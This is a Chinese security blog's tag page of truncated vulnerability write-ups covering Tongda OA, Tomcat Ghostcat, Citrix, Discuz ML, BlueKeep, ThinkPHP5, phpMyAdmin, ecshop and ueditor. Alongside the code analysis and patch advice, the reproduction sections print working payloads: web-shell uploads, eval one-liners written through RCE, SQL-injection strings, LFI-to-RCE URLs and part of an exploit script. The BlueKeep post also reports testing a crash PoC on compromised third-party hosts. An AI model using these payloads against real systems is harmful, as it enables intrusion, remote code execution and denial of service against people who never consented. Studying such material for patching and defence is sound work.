Tag:漏洞分析

Tag (漏洞分析)'s result:

通达(tongda)OA文件上传和文件包含漏洞重现及分析

0x00 概述 20200317,网上爆出通达oa被利用0day中勒索病毒的消息,官方已出漏洞补丁。 该0day为利用文件上传和文件包含组合利用进行RCE,无须认证。   0x01 影响范围 2013,2013增强版,2015,2016,2017,v11 //补丁只看见v11(2020)有geteway.php(文件包含漏洞)补丁   0x02 漏洞重现 利用v11版本: 文件包含漏洞 http://localhost/ispirit/interface/gateway.php?json={}&url=../../ispirit/../../nginx/logs/oa.access.log   文件上传漏洞 上传文件路径在非webroot目录,如: “D:\MYOA\attach\im\2003\ddd.test.jpg” 请求数据包: POST /ispirit/im/upload.php HTTP/1.1 Host: 127.0.0.1 Connection: close Accept-Encoding: gzip, deflate Accept: */* User-Agent: python-requests/2.20.0 Content-Length: 633 Content-Type: multipart/form-data; boundary=ee65cd98fdbee896acd30a7b2552b6b5 –ee65cd98fdbee896acd30a7b2552b6b5 Content-Disposition: form-data; name=”P” x –ee65cd98fdbee896acd30a7b2552b6b5 Content-Disposition: form-data; name=”UPLOAD_MODE” 1 –ee65cd98fdbee896acd30a7b2552b6b5 Content-Disposition: form-data; name=”DEST_UID” 1 –ee65cd98fdbee896acd30a7b2552b6b5 Content-Disposition: form-data; name=”ATTACHMENT”; filename=”test07.jpg” Content-Type: image/jpeg <?php $command=$_POST[‘cmd’]; $wsh = new COM(‘WScript.shell’); $exec = $wsh->exec(“cmd /c “.$command); $stdout = $exec->StdOut(); $stroutput = $stdout->ReadAll(); echo $stroutput; ?> –ee65cd98fdbee896acd30a7b2552b6b5– 再利用文件包含执行php代码 json=%7B%22url%22%3A%22%2Fgeneral%2F..%2F..%2Fattach%2Fim%2F2003%2F1941158481.test07.jpg%22%7D&cmd=whoami 或者这样包含也行 http://127.0.0.1/ispirit/interface/gateway.php?json={}&url=../../ispirit/../../attach/im/2003/1044529275.test09.jpg //实测无法直接执行phpinfo(); 利用windows的com组件绕过disable_function() <?php $command=$_POST[‘cmd’]; $wsh = new COM(‘WScript.shell’); $exec = $wsh->exec(“cmd /c “.$command); $stdout = $exec->StdOut(); $stroutput = $stdout->ReadAll(); echo $stroutput; ?>   0x03 修复方案 打补丁   0x04 漏洞分析 PHP Zend 5.4解密php文件即可 文件上传漏洞分析 upload.php:5 $P = $_POST[‘P’]; if (isset($P) || $P != ”) { ob_start(); include_once ‘inc/session.php’; session_id($P); session_start(); session_write_close(); } else { include_once ‘./auth.php’; } 要有P参数否则会经过auth.php登录验证,不为空即可。 $DEST_UID = $_POST[‘DEST_UID’]; $dataBack = array(); if ($DEST_UID != ” && !td_verify_ids($ids)) { $dataBack = array(‘status’ => 0, ‘content’ => ‘-ERR ‘ . _(‘½ÓÊÕ·½IDÎÞЧ’)); echo json_encode(data2utf8($dataBack)); exit;……

Tomcat AJP 文件读取/包含漏洞(CVE-2020-1938 )重现及分析

0x00 概述 202002,网上曝出tomcat ajp的文件读取/包含漏洞。 Ghostcat(幽灵猫) 是由长亭科技安全研究员发现的存在于 Tomcat 中的安全漏洞,由于 Tomcat AJP 协议设计上存在缺陷,攻击者通过 Tomcat AJP Connector 可以读取或包含 Tomcat 上所有 webapp 目录下的任意文件,例如可以读取 webapp 配置文件或源代码。此外在目标应用有文件上传功能的情况下,配合文件包含的利用还可以达到远程代码执行的危害。 —https://www.chaitin.cn/zh/ghostcat   0x01 影响范围 Apache Tomcat 9.x < 9.0.31 Apache Tomcat 8.x < 8.5.51 Apache Tomcat 7.x < 7.0.100 Apache Tomcat 6.x 0x02 漏洞重现 1】 xray   去掉.100的注释,攻击也失败。   2】 Python版 https://github.com/YDHCUI/CNVD-2020-10487-Tomcat-Ajp-lfi 文件读取 文件包含 //修改源码,加上jsp后缀即可文件包含 #!/usr/bin/env python #CNVD-2020-10487 Tomcat-Ajp lfi #by ydhcui import struct   # Some references: # https://tomcat.apache.org/connectors-doc/ajp/ajpv13a.html def pack_string(s): if s is None: return struct.pack(“>h”, -1) l = len(s) return struct.pack(“>H%dsb” % l, l, s.encode(‘utf8’), 0) def unpack(stream, fmt): size = struct.calcsize(fmt) buf = stream.read(size) return struct.unpack(fmt, buf) def unpack_string(stream): size, = unpack(stream, “>h”) if size == -1: # null string return None res, = unpack(stream, “%ds” % size) stream.read(1) # \0 return res class NotFoundException(Exception): pass class AjpBodyRequest(object): # server == web server, container == servlet SERVER_TO_CONTAINER, CONTAINER_TO_SERVER = range(2) MAX_REQUEST_LENGTH = 8186 def __init__(self, data_stream, data_len, data_direction=None): self.data_stream = data_stream self.data_len = data_len self.data_direction = data_direction def serialize(self): data = self.data_stream.read(AjpBodyRequest.MAX_REQUEST_LENGTH) if len(data) ==……

CSDN 存储型XSS分析

20190724,网上传出csdn貌似有存储型XSS,弹框链接: https://bbs.csdn.net/topics/390816889 解码是”提交成功” 搜索这个词 抓包判断该post包触发弹窗 尝试修改响应包 请求 https://bbs.csdn.net/topics/390816889 会发请求 GET /redisData/baiduLandingWord?url=https://bbs.csdn.net/topics/390816889&size=1 HTTP/1.1 Host: redisdatarecall.csdn.net Connection: close Accept: application/json, text/javascript, */*; q=0.01 Origin: https://bbs.csdn.net User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.142 Safari/537.36 Referer: https://bbs.csdn.net/topics/390816889 Accept-Language: zh-CN,zh;q=0.9,en;q=0.8 这个请求是在百度站内查询 再请求,将查询内容写入redis 再请求,返回了推荐的关联帖子的内容,内容(‘提交成功’)经过了html实体编码,引号还原了。(不确定……) 该返回造成弹窗。 触发流程: 1.发布帖子写入payload(如Response.Write(“<script>alert(‘提交成功!’);window.location.href=window.location.href;window.opener.location=window.opener.location;</script>”);) 2.百度搜索引擎爬到该payload帖子。 3.某相关话题帖子推荐到payload帖子,加载到某相关话题帖子的页面。 4.触发payload。   相关链接 https://redisdatarecall.csdn.net/redisData/baiduLandingWord?url=https://bbs.csdn.net/topics/390816889&size=1 https://event.csdn.net/logstores/csdn-pc-tracking-page-exposure/track https://zhannei-dm.csdn.net/recommend/baidu_zhannei_search?keyword=%E5%85%B3%E4%BA%8Ewindow.location.href%E7%9A%84xss https://recsidebar.csdn.net/getSideBarRecommend.html   不确定分析的对不对,如有错漏,强烈建议指出…….

citrix netscaler网关RCE漏洞重现及分析(CVE-2019-19781)

0x00 概述 201912,网上爆出citrix网管的rce漏洞,具体细节已公开(20200111),此漏洞无需身份验证,影响较大(8w)。首先利用目录穿越(有限文件读取)写入恶意xml文件到特定目录,再利用模板解析造成rce。   0x01 漏洞重现       0x02 修复方案 参考官方 https://support.citrix.com/article/CTX267027   0x03 漏洞分析 //图片来自https://twitter.com/mpgn_x64 从HTTP_NSC_USER获取$username,变量的过滤被注释了…… UsersPrefs perl module: 所以攻击者可以控制$username,作为后续的xml文件名,比如设置成../../some/path造成目录穿越,导致写入到任意目录(./portal/templates/) 而且这个xml内容的title和desc可控 //所有调用这个csd方法的脚本(几乎所有)都会造成目录穿越,如新建书签。 newbm.pl : my $cgi = new CGI;print “Content-type: text/html\n\n”; my $user = NetScaler::Portal::UserPrefs->new(); my $doc = $user->csd(); … my $newurl = Encode::decode(‘utf8’, $cgi->param(‘url’)); my $newtitle = Encode::decode(‘utf8’, $cgi->param(‘title’)); my $newdesc = Encode::decode(‘utf8’, $cgi->param(‘desc’)); my $UI_inuse = Encode::decode(‘utf8’, $cgi->param(‘UI_inuse’)); … my $newBM = { url => $newurl, title => $newtitle, descr => $newdesc, UI_inuse => $UI_inuse, }; … if ($newBM->{url} =~ /^\/){ push @{$doc->{filesystems}->{filesystem}}, $newBM; } else { # bookmark push @{$doc->{bookmarks}->{bookmark}}, $newBM; }// Writing XML file to disk $user->filewrite($doc); 调用filewrite方法写入一些数据到$doc,即可控的文件名($username)。 当恶意的xml文件(Perl Template Toolkit)写入到./portal/templates/这个目录下,利用GET请求/vpn/../vpns/portal/zxcxz.xml就可以使模板工具包引擎加载解析这个恶意xml文件造成rce。 $doc就是$username,$tmplfile变量是从HTTP请求路径构造的,并为该文件构建并处理了一个新模板。   0x04 参考资料 https://twitter.com/mpgn_x64 https://www.mdsec.co.uk/2020/01/deep-dive-to-citrix-adc-remote-code-execution-cve-2019-19781/ https://github.com/jas502n/CVE-2019-19781

discuz ml RCE漏洞重现及分析

0x00 概述 7月11日,在网上发现discuz ml(多国语言版)出现RCE漏洞的消息,漏洞在于cookie的language可控并且没有严格过滤,导致可以远程代码执行。   0x01 影响范围 Discuz!ML v.3.4 , Discuz!ML v.3.2 , Discuz!ML v.3.3 product of codersclub.org   0x02 漏洞重现 http://xxx.org/discuzx/portal.php select english or other language   让请求cookie含有xxxx_xxxx_language visit http://xxx.org/discuzx/portal.php again change:4gH4_0df5_language=en’.phpinfo().’; or 4gH4_0df5_language=en’.system(‘whoami&&pwd’).’;   getshell LSmZ_2132_language=es’.file_put_contents%28%27xxxxxxx.php%27%2Curldecode%28%27%253c%253fphp%2520@eval%28%2524_%25%35%30%25%34%66%25%35%33%25%35%34%255b%2522x%2522%255d%29%253b%253f%253e%27%29%29.’;     0x03 检测工具 https://github.com/theLSA/discuz-ml-rce   0x04 漏洞分析 Discuz ml v3.4 为例 dizcuz-ml-34\upload\source\module\portal\portal_index.php:32 include_once template(‘diy:portal/index’); 包含了template函数渲染的文件 进入template函数看看 dizcuz-ml-34\upload\source\function\function_core.php:524 /*vot*/ $cachefile = ‘./data/template/’.DISCUZ_LANG.’_’.(defined(‘STYLEID’) ? STYLEID.’_’ : ‘_’).$templateid.’_’.str_replace(‘/’, ‘_’, $file).’.tpl.php’; if($templateid != 1 && !file_exists(DISCUZ_ROOT.$tplfile) && !file_exists(substr(DISCUZ_ROOT.$tplfile, 0, -4).’.php’) && !file_exists(DISCUZ_ROOT.($tplfile = $tpldir.$filebak.’.htm’))) { $tplfile = ‘./template/default/’.$filebak.’.htm’; } if($gettplfile) { return $tplfile; } checktplrefresh($tplfile, $tplfile, @filemtime(DISCUZ_ROOT.$cachefile), $templateid, $cachefile, $tpldir, $file); return DISCUZ_ROOT.$cachefile; 返回了缓存文件名 根据poc可知是language可控,那就是DISCUZ_LANG可控了。 再看看在哪里赋值 dizcuz-ml-34\upload\source\class\discuz\discuz_application.php:304 // set language from cookies   if($this->var[‘cookie’][‘language’]) {   $lng = strtolower($this->var[‘cookie’][‘language’]); 从cookie-language取值给$lng 338 $this->var[‘oldlanguage’] = $lng; // Store Old Language Value for compare   // define DISCUZ_LANG define(‘DISCUZ_LANG’, $lng);   // set new language to cookie dsetcookie(‘language’, $lng);   // set new language variables $this->var[‘language’] = $lng; $lng赋值给了DISCUZ_LANG 根据poc q3KZ_2132_language=sc’.system(‘whoami’).’; 最终include_once ‘sc’.system(‘whoami’).’_1_1_common_header_forum_index.tpl.php’; 包含闭合引号导致执行了代码。 /× 执行代码这部分存疑,参考https://www.anquanke.com/post/id/181887 ×/   0x05 防御方案 1. 关注 https://bitbucket.org/vot/discuz.ml/commits/all 2.过滤特殊字符(串)如单引号、双引号、括号,点,system、php、eval等。 3.禁止可控变量DISCUZ_LANG作为缓存文件名的一部分。   0x06 结语 Easy to rce!……

RDP RCE(CVE-2019-0708)集锦

//Really DO Patch ^_^ 0x00 概述 20190514,微软发布补丁,修复了一个严重的漏洞-rdp远程代码执行。该漏洞无需身份认证和用户交互,可能形成蠕虫爆发,影响堪比wannycry。   0x01影响范围 Windows 7 Windows Server 2008 R2 Windows Server 2008 Windows Server 2003 Windows XP   0x02 漏洞重现 poc已出,重现几个网上主流的poc: 1)360的0708detector.exe(无损扫描工具) //感觉不是很稳定,对同个ip有时成功有时不成功…… 一些根据此工具写的批量 https://github.com/biggerwing/CVE-2019-0708-poc https://github.com/autoing/CVE-2019-0708-POC   2)https://github.com/zerosum0x0/CVE-2019-0708 包含了msf的rb git clone https://github.com/zerosum0x0/CVE-2019-0708.git cd CVE-2019-0708/rdesktop-fork-bd6aa6acddf0ba640a49834807872f4cc0d0a773/ ./bootstrap ./configure –disable-credssp –disable-smartcard make ./rdesktop 192.168.1.7:3389 可能要apt-get install libssl1.0.0 libssl-dev 用scan_with_docker.py可以批量 //较稳定   3)https://github.com/Ekultek/BlueKeep.git 可以批量 先安装impacket https://github.com/SecureAuthCorp/impacket pip install -r requestments.txt pip install . vim bluekeep_poc.py 删除重复的一个impacket   4)https://github.com/robertdavidgraham/rdpscan 可批量 //较不稳定   5)https://github.com/Leoid/CVE-2019-0708 pip3 install impacket 6)https://github.com/n1xbyte/CVE-2019-0708 //20190531新增蓝屏poc,用03standx86测试出现 OpenSSL.SSL.SysCallError: (104, ‘ECONNRESET’) 应该是这个03系统问题 直接找几个僵尸主机测一测 //效果不错! 7)https://github.com/closethe/CVE-2019-0708-POC 试了几个都是timed out,可能是poc未完善…… 其他一些poc(未测试): https://github.com/skyshell20082008/CVE-2019-0708-PoC-Hitting-Path https://github.com/blacksunwen/CVE-2019-0708(和5基本一样) https://github.com/Jaky5155/cve-2019-0708-exp https://github.com/fourtwizzy/CVE-2019-0708-Check-Device-Patch-Status https://github.com/trickster0/CVE-2019-0708 https://github.com/algo7/bluekeep_CVE-2019-0708_poc_to_exploit(powershell)   截至发文(20190605),尚未发现公开可用exp,拭目以待! 360的某大神已搞出exp,能在win7 x64弹框了,未公开。   20190606,发现msf可获取meterpreter的exp,未公开。 https://twitter.com/zerosum0x0/status/1135866953996820480   /* 还有一堆假exp,利用ms12-020、os.system()、alert、假GUI、骗star等等。 www.cve-2019-0708.com(20190529无法访问了)据说是假的! */   0x03 漏洞分析   rdp基础 RDP 协议基于 T.128(T.120 协议族)提供多通道通信,并进行了拓展。 远程桌面协议(RDP)支持客户端建立点到点的连接,并定义了通信双方在虚拟通道间的数据通信方式,。这种虚拟通道为双向数据通道,可以扩展RDP的功能。Windows Server 2000在RDP v5.1中定义了32种静态虚拟通道(SVC),但是因为将来要定义的动态虚拟通道数量的限制,因此专用的通道svc数量受到一定限制。SVC是在会话开始时创建的,并在会话终止前保持不变,但DVC不同,因为它是根据用户需求来创建和删除的。 服务端在初始化阶段,会创建MS_T120, Index 为 31 的通道。在收到MCS Connect Initial数据封包后进行通道创建和绑定操作。 在IcaBindVirtualChannels函数中进行绑定时,IcaFindChannelByName函数只根据通道名进行通道查找。当通道名为MS_T120(不区分大小写)时,会找到系统内部通道 MS_T120的通道并与之绑定,绑定后,通道索引会即被更改为新的通道索引。 参考mcafee,seebug   本人用win7sp1 x64进行测试 查看termdd.sys,有修改 对比补丁前后 13628这个子模块变化比较大,先看看 发现加了stricmp比较,和ms_t120这个通道比较,为0就用写死的v19即31(rdp通道编号)作为第三个参数传入13ec8这个子模块,所以这里可以看出漏洞点应该是ms_t120这个通道,是就触发漏洞。 //bindiff没解析出_IcaBindChannel和_IcaBindVirtualChannels。 在安全机制启用前,系统初始化了RDP连接序列,并完成通道的建立,这导致了该漏洞可形成蠕虫。 在rdp的gcc协商初始化序列中,ms_t120这个svc会被绑定作为引用通道31。 这个通道编号31在microsoft内部使用,在客户端请求连接中不会出现ms_t120这个svc。 但是在GCC协商初始化的过程中,客户端提供的通道名称并不在服务器端的白名单中,这意味着攻击者将能够设置另一个名为“MS_T120”的不在编号31的SVC通道,这导致目标系统发生堆内存崩溃并实现远程代码执行。 MS_T120引用通道会在rdpwsx.dll中创建,堆内存也会在rdpwp.sys中分配内存池。当MS_T120引用通道在通道编号非31的场景下建立时,便会发生堆内存崩溃。 微软在termdd.sys的_IcaBindVirtualChannels和_IcaRebindVirtualChannels两个函数中为客户端的连接请求部分添加了针对通道名称“MS_T120”的检查代码,来保证ms_t120是和通道31进行绑定。   利用wireshark获取rdp数据包(winn2003stand without 0708 patch) 正常rdp连接: tcp三次握手后发送rdp数据,利用decode as tpkt解出rdp数据包 //第二遍tcp握手后(neg req=fff)才开始发clientdata 没有ms_t120通道信息     利用360无损检查工具发送的数据包(neg req=fff) 此处本人推测ms_t120通道编号是1,channelCount就是channelDefArray元素数,验证漏洞存在! 利用./rdesktop(第二个poc)对某僵尸主机发送的数据包: 此时推测ms_t120通道编号为2,验证漏洞存在! 利用蓝屏crashpoc.py对某僵尸主机发送的数据包: 本人才疏学浅,对rdp不甚了解,只能从浅层大概分析,高手可参考相关分析资料。 相关分析资料: 英文: https://securingtomorrow.mcafee.com/other-blogs/mcafee-labs/rdp-stands-for-really-do-patch-understanding-the-wormable-rdp-vulnerability-cve-2019-0708/(推荐) https://medium.com/@straightblast426/a-debugging-primer-with-cve-2019-0708-ccfa266682f6 https://wazehell.io/2019/05/22/cve-2019-0708-technical-analysis-rdp-rce/ https://www.malwaretech.com/2019/05/analysis-of-cve-2019-0708-bluekeep.html……

ThinkPHP5 RCE漏洞重现及分析

0x00 概述 近日,thinkphp发布了安全更新,修复一个可getshell的rce漏洞,由于没有有效过滤$controller,导致攻击者可以利用命名空间的方式调用任意类的方法,进而getshell。 0x01 影响范围 5.x < 5.1.31 5.x < 5.0.23 以及基于ThinkPHP5 二次开发的cms,如AdminLTE后台管理系统、thinkcmf、ThinkSNS等。 shodan一下:   0x02 漏洞重现 win7+thinkphp5.1.24 (1)执行phpinfo /index.php/?s=index/\think\Container/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=1 (2)写一句话木马 /index.php/?s=index/\think\template\driver\file/write&cacheFile=zxc0.php&content=<?php @eval($_POST[xxxxxx]);?>’   debian+thinkphp5.1.30 (1)执行phpinfo /index.php/?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=1 (2)写一句话木马 /index.php/?s=index/\think\template\driver\file/write&cacheFile=zxc0.php&content=<?php @eval($_POST[xxxxxx]);?> win7+thinkphp5.0.16 (1)执行phpinfo /index.php/?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=1 (2)写一句话木马 /index.php/?s=/index/\think\app/invokefunction&function=call_user_func_array&vars[0]=file_put_contents&vars[1][]=zxc1.php&vars[1][]=<?php @eval($_POST[xxxxxx]);?>   0x03 修复方案 直接git/composer更新 手工修复 5.1版本 在think\route\dispatch\Url类的parseUrl方法,解析控制器后加上 if ($controller && !preg_match(‘/^[A-Za-z](\w|\.)*$/’, $controller)) { throw new HttpException(404, ‘controller not exists:’ . $controller);}   5.0版本 在think\App类的module方法的获取控制器的代码后面加上 if (!preg_match(‘/^[A-Za-z](\w|\.)*$/’, $controller)) { throw new HttpException(404, ‘controller not exists:’ . $controller);}   如果改完后404,尝试修改正则,加上\/ if (!preg_match(‘/^[A-Za-z\/](\w|\.)*$/’, $controller)) {   0x04 漏洞分析 Thinkphp5.1.24: 先看补丁: 对controller添加了过滤 查看路由调度: Module.php:83 public function exec() { // 监听module_init $this->app[‘hook’]->listen(‘module_init’);   try { // 实例化控制器 $instance = $this->app->controller($this->controller, $this->rule->getConfig(‘url_controller_layer’), $this->rule->getConfig(‘controller_suffix’), $this->rule->getConfig(’empty_controller’)); } catch (ClassNotFoundException $e) { throw new HttpException(404, ‘controller not exists:’ . $e->getClass()); } …… $data = $this->app->invokeReflectMethod($instance, $reflect, $vars);   return $this->autoResponse($data); }); $instance = $this->app->controller 实例化控制器以调用其中的方法 查看controller方法 App.php:719 public function controller($name, $layer = ‘controller’, $appendSuffix = false, $empty = ”) { list($module, $class) = $this->parseModuleAndClass($name, $layer, $appendSuffix);   if (class_exists($class)) { return $this->__get($class); } elseif ($empty && class_exists($emptyClass = $this->parseClass($module, $layer, $empty, $appendSuffix))) {……

phpmyadmin4.8.x LFI to RCE

0x00 概述 6月下旬,chamd5团队公开了phpmyadmin4.8的LFI漏洞(须登录),可导致RCE,使用url双重编码绕过限制进行文件包含,再包含session文件或数据库表frm文件即可RCE。   0x01 漏洞重现 环境:win7+xampp+phpmyadmin4.8.1 Payload: http://127.0.0.1:8888/phpmyadmin481/index.php?target=export.php%25%33%66/../../../../../../../../../windows/system.ini 成功包含system.ini。 进入下一阶段:命令执行 方式一:包含frm 先查看data文件路径:show variables like ‘%datadir%’; 在test库中新建pmatest1表,其中一个字段名设置成<?php @eval($_GET[‘lsa’]);?> 再包含mysql/data/test/pmatest1.frm即可rce, payload: http://127.0.0.1:8888/phpmyadmin481/index.php?lsa=phpinfo();&target=export.php%25%33%66/../../../../../../../../../../xampp/mysql/data/test/pmatest1.frm 方式二:包含sess文件 利用php用文件存session的特性,在phpmyadmin里的操作都记录在sess_pmavalue中,该文件保存的路径视情况而定: xmapp中保存在 xampp/tmp/sess_pmavalue phpstudy: /phpstudy/PHPTutorial/tmp/tmp wamp: /wamp64/tmp 在Linux下,常见的文件路径为: /var/lib/php/session/ 在phpmyadmin中执行查询 SELECT ‘<?php @eval($_GET[lsa]); exit();?>’ 被记录在sess_pmavalue中 payload: http://127.0.0.1:8888/phpmyadmin481/index.php?lsa=phpinfo();&target=export.php%25%33%66/../../../tmp/sess_08vi4klpgs54l05fqq5p34d4ia //因为export.php%3f当成了目录,所以要多一个../ /*使用绝对路径也可以,如: http://127.0.0.1:8888/phpmyadmin481/index.php?lsa=phpinfo();&target=export.php%253f/../../../../../../../../../../../../../../../../xampp/tmp/sess_fne7a5ah109htpaqndc5jpi8fn */ //不知为何用写入$_POST包含就会跳转首页……   0x02 漏洞分析 漏洞文件: .\index.php:55 // If we have a valid target, let’s load that script instead if (! empty($_REQUEST[‘target’]) && is_string($_REQUEST[‘target’]) && ! preg_match(‘/^index/’, $_REQUEST[‘target’]) && ! in_array($_REQUEST[‘target’], $target_blacklist) && Core::checkPageValidity($_REQUEST[‘target’]) ) { include $_REQUEST[‘target’]; exit; } target符合4个条件就会includ 1. 是字符串 2. 不以index开头 3. 不在 $target_blacklist名单里 4. 符合checkPageValidity函数要求   找checkPageValidity函数: libraries\classes\Core.php:443 public static function checkPageValidity(&$page, array $whitelist = []) { if (empty($whitelist)) { $whitelist = self::$goto_whitelist; } if (! isset($page) || !is_string($page)) { return false; }   if (in_array($page, $whitelist)) { return true; }   $_page = mb_substr( $page, 0, mb_strpos($page . ‘?’, ‘?’) ); if (in_array($_page, $whitelist)) { return true; }   $_page = urldecode($page); $_page = mb_substr( $_page, 0, mb_strpos($_page . ‘?’, ‘?’) ); if (in_array($_page, $whitelist)) { return true; }   return false; } 需要返回true,三个if有一个满足true就ok了,都需要满足whitelist: class Core { /** * the whitelist for goto parameter……

ecshop 2.x远程代码执行漏洞重现及分析

本文参考自:ringk3y.com/2018/08/31/ecshop2-x代码执行/ //本文漏洞分析部分利用的payload/exp来源于此文。 0x00 概述 8月31日,网上爆出ecshop远程代码执行漏洞,经测试,该漏洞利用难度低,威力巨大可直接getshell,本文对此进行重现及分析。 0x01 影响范围 ecshop 2.x   0x02 漏洞重现 SQL注入: 报错注入payload: Referer: 554fcae493e564ee0dc75bdf2ebf94caads|a:2:{s:3:”num”;s:72:”0,1 procedure analyse(extractvalue(rand(),concat(0x7e,version())),1)– -“;s:2:”id”;i:1;} RCE getshell: //工具https://github.com/theLSA/ecshop-getshell   0x03 修复方案 intval $arr[id]和$arr[num]   0x04 漏洞分析 报错注入payload: Referer: 554fcae493e564ee0dc75bdf2ebf94caads|a:2:{s:3:”num”;s:72:”0,1 procedure analyse(extractvalue(rand(),concat(0x7e,version())),1)– -“;s:2:”id”;i:1;} 环境:ecshop 2.7.3 漏洞文件: ecshop273\user.php:302 elseif ($action == ‘login’) { if (empty($back_act)) { if (empty($back_act) && isset($GLOBALS[‘_SERVER’][‘HTTP_REFERER’])) { $back_act = strpos($GLOBALS[‘_SERVER’][‘HTTP_REFERER’], ‘user.php’) ? ‘./index.php’ : $GLOBALS[‘_SERVER’][‘HTTP_REFERER’]; } else { $back_act = ‘user.php’; }   } $back_act参数来源于Referer,可控。 $smarty->assign(‘back_act’, $back_act); $smarty->display(‘user_passport.dwt’); 赋值展示 ecshop273\includes\cls_template.php:70 function assign($tpl_var, $value = ”) { if (is_array($tpl_var)) { foreach ($tpl_var AS $key => $val) { if ($key != ”) { $this->_var[$key] = $val; } } } else { if ($tpl_var != ”) { $this->_var[$tpl_var] = $value; } } }   function display($filename, $cache_id = ”) { $this->_seterror++; error_reporting(E_ALL ^ E_NOTICE);   $this->_checkfile = false; $out = $this->fetch($filename, $cache_id);   if (strpos($out, $this->_echash) !== false) { $k = explode($this->_echash, $out); foreach ($k AS $key => $val) { if (($key % 2) == 1) { $k[$key] = $this->insert_mod($val); } } $out = implode(”, $k); } error_reporting($this->_errorlevel); $this->_seterror–;   echo $out; } 关键在于: $out = $this->fetch($filename, $cache_id);     if (strpos($out, $this->_echash) !==……

ueditor getshell漏洞重现及分析

0x00 概述 8月21日,网上爆出ueditor .net版本getshell漏洞,由于只校验ContentType而没校验文件后缀导致getshell。   0x01 漏洞重现 Payload: <form action=”http://www.xxx.com/controller.ashx?action=catchimage” enctype=”application/x-www-form-urlencoded” method=”POST”> <p>shell addr:<input type=”text” name=”source[]” /></p > <input type=”submit” value=”Submit” /> </form> 图片马x.jpg放在自己服务器上 提交http://www.domain.top/x.jpg?.aspx 返回: 菜刀连接:   0x02 修复方案 增加文件扩展名校验(白名单)   0x03 漏洞分析 ueditor1_4_3_3-utf8-net\utf8-net\net\controller.ashx <%@ WebHandler Language=”C#” Class=”UEditorHandler” %> using System; using System.Web; using System.IO; using System.Collections; using Newtonsoft.Json; public class UEditorHandler : IHttpHandler { public void ProcessRequest(HttpContext context) { Handler action = null; switch (context.Request[“action”]) { case “config”: action = new ConfigHandler(context); break; case “uploadimage”: action = new UploadHandler(context, new UploadConfig() { AllowExtensions = Config.GetStringList(“imageAllowFiles”), PathFormat = Config.GetString(“imagePathFormat”), SizeLimit = Config.GetInt(“imageMaxSize”), UploadFieldName = Config.GetString(“imageFieldName”) }); break; case “uploadscrawl”: action = new UploadHandler(context, new UploadConfig() { AllowExtensions = new string[] { “.png” }, PathFormat = Config.GetString(“scrawlPathFormat”), SizeLimit = Config.GetInt(“scrawlMaxSize”), UploadFieldName = Config.GetString(“scrawlFieldName”), Base64 = true, Base64Filename = “scrawl.png” }); break; case “uploadvideo”: action = new UploadHandler(context, new UploadConfig() { AllowExtensions = Config.GetStringList(“videoAllowFiles”), PathFormat = Config.GetString(“videoPathFormat”), SizeLimit = Config.GetInt(“videoMaxSize”), UploadFieldName = Config.GetString(“videoFieldName”) }); break; case “uploadfile”: action = new UploadHandler(context, new UploadConfig() { AllowExtensions = Config.GetStringList(“fileAllowFiles”), PathFormat = Config.GetString(“filePathFormat”), SizeLimit = Config.GetInt(“fileMaxSize”), UploadFieldName = Config.GetString(“fileFieldName”) }); break; case “listimage”: action =……